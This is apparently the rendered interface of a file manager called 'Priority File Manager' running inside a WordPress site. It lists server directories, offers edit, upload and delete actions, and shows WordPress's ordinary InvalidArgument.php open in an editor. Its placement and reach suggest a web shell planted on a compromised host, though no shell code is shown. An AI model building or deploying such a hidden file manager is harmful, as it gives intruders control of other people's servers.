Priority File Manager
📁 public_html
Base Directory:
/home/ecedu/public_html
/home/ecedu/public_html/wp-content/plugins
/home/ecedu/public_html/wp-content
/home/ecedu
/var/www
/var/www/cgi-bin
/var/www/html
public_html
/
wp-includes
/
Requests
/
src
/
Exception
/home/ecedu/public_html/wp-includes/Requests/src/Exception
Name
Type
Size
Actions
📁
..
Folder
-
Delete
Rename
📄
ArgumentCount.php
File
1460
Delete
Rename
Edit
Download
📁
Http
Folder
-
Delete
Rename
📄
Http.php
File
1542
Delete
Rename
Edit
Download
📄
InvalidArgument.php
File
1106
Delete
Rename
Edit
Download
📁
Transport
Folder
-
Delete
Rename
📄
Transport.php
File
244
Delete
Rename
Edit
Download
Upload
Create Folder
📝 Editing:
InvalidArgument.php
Size: 1,106 bytes
Lines: 42
Type: .php
💾 Save
Cancel
✕
<?php namespace WpOrg\Requests\Exception; use InvalidArgumentException; /** * Exception for an invalid argument passed. * * @package Requests\Exceptions * @since 2.0.0 */ final class InvalidArgument extends InvalidArgumentException { /** * Create a new invalid argument exception with a standardized text. * * @param int $position The argument position in the function signature. 1-based. * @param string $name The argument name in the function signature. * @param string $expected The argument type expected as a string. * @param string $received The actual argument type received. * * @return \WpOrg\Requests\Exception\InvalidArgument */ public static function create($position, $name, $expected, $received) { // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_debug_backtrace $stack = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2); return new self( sprintf( '%s::%s(): Argument #%d (%s) must be of type %s, %s given', $stack[1]['class'], $stack[1]['function'], $position, $name, $expected, $received ) ); } }
✅ File saved successfully!